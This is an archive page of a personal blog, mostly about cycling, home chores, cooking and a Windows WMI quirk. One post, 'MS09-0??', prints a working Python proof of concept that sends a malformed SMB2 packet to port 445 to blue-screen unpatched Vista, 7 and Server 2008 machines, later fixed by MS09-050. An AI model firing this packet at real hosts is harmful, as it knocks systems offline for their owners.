Press "Enter" to skip to content

nuxx.net Posts

CDs In Storage

A few months back I emptied my CD rack, boxed up the CDs, and removed the rack from the wall. Tonight I finally got around to moving the CD boxes into storage in the basement, placing them on 2x4s beneath the stairs. This both gave me a chance to straighten up that closet and finally got the living room / dining area cleaned out, as it’s where the boxes had been stacked.

As can be seen above, there’s quite a few boxes of CDs stored there now. Part of me wishes they weren’t in storage, but I know that having them out taking up wall space wasn’t particularly useful. Now this space is used by a bookshelf that is accessed much more frequently, as can be seen in this photograph taken a few minutes ago. Also, if you’re interested, here’s a photo of the closet and stacked CD boxes with stuff put back in around them.

Leave a Comment

Downtown Rochester at Night

This evening after some late work, just after 10pm, I took off on my bike towards downtown Rochester. 21.88 miles later, averaging 15.2 MPH, I was back home. For rather knobby tires still at off-road pressures (leftover from Hanson Hills this past weekend; more on this later) I don’t think this is too bad. I took my normal route to the Clinton River Trail, then that into Downtown Rochester, then over to the river and bridges which indicate the start of the Paint Creek Trail. After standing around for a few minutes and texting a bit with Danielle I turned and headed home.

This was an interesting ride, as I’m not used to being on paths like the Clinton River Trail in the dark. With the 100% humidity there was also quite a bit of fog; enough that it was hard to see at times. The routes were also pretty much empty, save for one skunk, two rabbits, one possum, one muskrat, one raccoon, and a couple unidentified glowing eyes. Any cars encountered seemed a bit more confused by my presence than anything else, which meant no car problems.

I’m really tempted to build up my old fork, crankset, and wheels into something with smoother tires for this type of riding. I can’t help but continue to be tempted by something like the Surly Cross Check or Salsa Fargo, though…

Leave a Comment

River Bends Trail Closed?

Tonight I fitted my bike with a 185mm front rotor (Avid G2 Clean Sweep; upgrade from 160mm), so I set out towards River Bends to try both it and a new (to me) CamelBak Podium bike bottle. For some reason both the paved and dirt paths through River Bends were closed off, leaving me no place to go. I continued on past the closed sign on the paved path for a bit, but just as my light was illuminating some heavy machinery I heard a loud CLUNK come from it, similar to a door latch, so I turned and headed back. I’ll try and remember to call tomorrow and see if I can get some information about the construction.

Being only a few miles into my ride I considered heading up to Stony Creek for some night time single track riding, but as it was getting late (just before 9pm) I instead headed over to downtown Utica, over to Clinton River Park, through the park’s paved path to Clinton River Road, out to Schoenherr, 19 Mile to Hayes, then back home.

During this time it seems that the rotor has begun bedding in and starting to work better. Due to its larger diameter I’ve found that I get an occasional rubbing / chirping sound when turning tight corners. So far it seems that this will work out well, and hopefully it won’t fade as fast during extended bits of downhill stuff, which is a problem I was particularly noticing while riding the North Country Trail (NCT) over Labor Day.

The CamelBak Podium bottle also worked out very well. I’ve been having a problem with HEED, my preferred electrolyte / sugary drink while riding, leaking out of bottles and getting on my frame. Even worse, when on the NCT enough spilled that it dried on the shifter cable guide, sticking the cable in place, and making shifting very difficult.

After reading a bit of Fat Cyclist’s blog I’d found that he particularly liked these bottles, so I’d wanted to give one a try. Due to a series of interesting circumstances I ended up with a barely-used one yesterday while cleaning up the trail, and I decided to take it home, wash it out, and use it. While I only took a short ride on relatively smooth surfaces (save for a few curbs and potholes and hopping random things), I had no problems with leakage. Liquid flowed quite rapidly through it when squeezed, and it fit snugly in my bottle holder. The wider-than-my-other-bottles neck also made pouring in a scoop of powdered HEED very easy. I think I might have to get another one of these.

If you’re interested, here’s a few cycling-related photos from the past week or two:

· Fern-lined downhill part of the NCT. Riding up this was terribly hard.
· More fern-liked trail along the NCT, this time in a nice stand of trees.
· Inside of the tent where I slept over Labor Day at my grandparents’ house.
· Bob trying to hit me in the golf cart that we had for setting up the Addison Oaks race last Friday.
· Cones, set up to divide the two-way paved path and bridge connecting the single track with the start/finish line.
· A very dirty Rob with a bent-up hand and scraped arm after a fall on one of the very last turns at Addison Oaks during the race.

Leave a Comment

Changing Win32_OperatingSystem.LastBootupTime Result on XP SP2 after Stand-By or Hibernate

On Windows XP one can use WMI to determine when the computer booted up by querying root/cimv2/Win32_OperatingSystem.LastBootupTime. This will return a result in CIM_DATETIME format indicating the time the computer booted up. However, while researching some things yesterday I found that on XP SP2 this changes if a user logs out, puts the computer in a Hibernate or Stand-by mode, wakes the computer, then queries this value.

Here’s results of this query after a few different scenarios:

Initial Query: 20090910130529.109375-240
After Logoff / Logon: 20090910130529.109375-240
After Hibernate / Wake while Logged In: 20090910130529.109375-240
After Logoff / Hibernate / Wake / Login: 20090910131221.162894-240
After Logoff / Stand By / Wake / Login: 20090910131718.006644-240

This was quite unexpected, because Microsoft’s documentation on the Win32_OperatingSystem class states that LastBootUpTime contains “Date and time the operating system was last restarted.”, and Hibernate or Stand By shouldn’t constitute a restart.

This behavior was not observed on XP SP3. Per 946480: List of fixes that are included in Windows XP Service Pack 3 this was not something fixed, but it does appear to have changed. If you would like to demonstrate this for yourself, use the following VBScript (or download it from here: getlastbootuptimetest.vbs) to easily read out Win32_OperatingSystem.LastBootUpTime:

Leave a Comment

Cheating Curry

I am currently making a cheating curry, using Trader Joe’s jarred Red Curry Sauce, pre-sliced mushrooms, and an eggplant and three green peppers from the CSA. The rice is basmati, will be cooked Indian-style by boiling like pasta, and should be done in about eight minutes.

Past experience with Trader Joe’s jarred curries makes me believe that this will result in a decent lunch for tomorrow, and a few subsequent days. After this I’ll bake the cookies (dough already made) for a potluck at work tomorrow, and then grill up a chicken sausage for dinner.

Through all this the kitchen shall remain clean. Good food and a nice, clean kitchen. Mmm!

Leave a Comment

MS09-0??

As is normal for a Patch Tuesday, Microsoft released a bunch of patches. Unfortunately, none of them fix a vulnerability in SMB2 on Vista, 7, or Server 2008 which allows easy remote BSODs using a single packet. This code below, which works under Python 2.6 on Windows, was very slightly adapted from this post to Full Disclosure.

import socket
host = "127.0.0.1", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.send(buff)
s.close()

UPDATE: Microsoft has posted 975497 – Vulnerabilities in SMB Could Allow Remote Code Execution which states:

Microsoft is investigating new public reports of a possible vulnerability in Microsoft Server Message Block (SMB) implementation. We are not aware of attacks that try to use the reported vulnerabilities or of customer impact at this time.

I’m not sure how they define attack, but that BSOD above sure looks like one and making something quick to hit whole subnets in a go would be trivial.

UPDATE 2: This was fixed on 13-Oct-2009 in MS09-050.

Leave a Comment

Pig In An… Alley?

This morning when pulling up to the post office at 22 Mile and VanDyke I noticed a pig laying in the alley behind the strip mall which Bone Appetite Pet Supplies. A few years ago I saw this same pig, but at that time it was just nosing around in the grass next to a sign saying that the pig is supposed to be there.

UPDATE: Since people have asked, yes, the pig was alive. It was breathing, but appeared to be sleeping. The bowl on the right contained a bit of bright yellow liquid, which I hope was some sort of nutritional supplement or the remains of food. If I’m remembering correctly the other bowl was empty.

Leave a Comment

Trash Picking Reason #2264584

This free shelf here is another reason why one shouldn’t be afraid to take their neighbor’s trash right off the pile. While walking Roxie last night we saw this white shoe organizer sitting in the trash. One of the assembly screws had broken through the top, as if someone had stepped on it.

One new hole, moving the screw, and some wood glue and a clamp to repair the ripped out piece, and it’s quite nice again. Sure, these only cost $10 – $15, but free (and one less in the landfill) is even better. I really like shelves like this, as they are great for organizing small tools on a workbench or desk surface. There’s already one on my basement workbench and another on Danielle’s desk. This one on the garage workbench rounds it out nicely.

Leave a Comment